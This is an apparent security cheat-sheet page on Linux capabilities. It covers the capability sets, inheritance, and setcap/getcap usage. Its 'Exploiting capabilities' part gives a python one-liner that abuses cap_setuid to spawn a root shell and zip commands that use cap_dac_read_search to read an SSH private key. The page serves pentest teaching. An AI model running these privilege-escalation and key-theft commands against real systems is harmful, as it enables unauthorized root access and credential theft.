π οΈ Capabilities β
Theory β
Linux capabilities are a way to improve permission granularity in unix-like systems. It allows to follow the least-privilege principle by defining fine-grained permissions that can be attributed to threads and files. It works by splitting kernel calls in groups of similar functionalities.
Basic processes : Have no capabilities (file access is controlled by traditional file privileges).
(Binary) files : Can have capabilities (filesystem-dependent).
Capabilities are in separated in 5 sets :
Set | Description |
---|---|
Effective set | the set that will be used when doing permission check. |
Permitted set | can be moved to effective set by calling capset() |
Inheritable set | can be inherited from parent processes, can be moved to effective set by calling capset() |
Bounding set | list of all the capabilities a process can ever receive (in its inheritable/permitted sets) |
Ambiant set | passed to non-suid files without defined capabilities |
Capability inheritance, capability drop β
- On
fork()
call, the child thread will have the same capabilities as the parent thread. capset()
syscall allows to- drop any capability from any set
- move capabilities from permitted/inherited sets to effective set
- If a thread calls
execve()
on a binary file, its capabilities will be modified following the pattern described in the man pages (seeman capabilities
).
Non-exhaustive capability list :
Capability | Description |
---|---|
CAP_AUDIT_CONTROL | Toggle kernel auditing |
CAP_AUDIT_WRITE | Write to kernel audit log |
CAP_CHOWN | Change file owners |
CAP_SETUID/CAP_SETGID | Change UID/GID |
CAP_NET_RAW | Open raw and packet sockets |
CAP_NET_BIND_SERVICE | Bind a socket to Internet domain privileged ports |
Practice β
Setting a file's capabilities :
To change capabilities on a file, you need to type these commands as root
:
# set capability to change uid to file (+ep to add to effective & permitted)
setcap cap_setuid+ep /path/to/file
# delete capabilites
setcap -r /path/to/file
# get file(s) capabilities
getcap -r dir 2>/dev/null
getcap file
# listing & decoding a running process' capabilities
grep Cap /proc/$pid/status
capsh --decode=000001ffffffffff
Exploiting capabilities :
- Empty capabilities
If a file has capabilities /path/to/file =ep
it means it has all
capabilities and will run as root
.
To create a file with empty (=all) capabilities justsudo setcap \=ep /path/to/file
Other classic examples :
- If the
python
binary has thecap_setuid
then it becomes trivial to get a root shell :
./python -c "import os; os.setuid(0); os.system('/bin/sh')"
- Arbitrary file read :
zip
withcap_dac_read_search
# cap_dac_read_search allows zip/tar to read any file (get ssh private key here)
zip /tmp/private_k.zip ~/.ssh/id_rsa
unzip /tmp/private_k.zip -d /tmp
# id_rsa is now readable in the unzipped folder
End notes :
When copied from one place to another, a binary will lose its capabilities. In order to keep capabilities, you can copy the file with --preserve=all
option :
# to keep capabilities when copying a binary
cp --preserve=all /origin/path /dest/path
Resources β
https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work
https://blog.ploetzli.ch/2014/understanding-linux-capabilities/
https://materials.rangeforce.com/tutorial/2020/02/19/Linux-PrivEsc-Capabilities/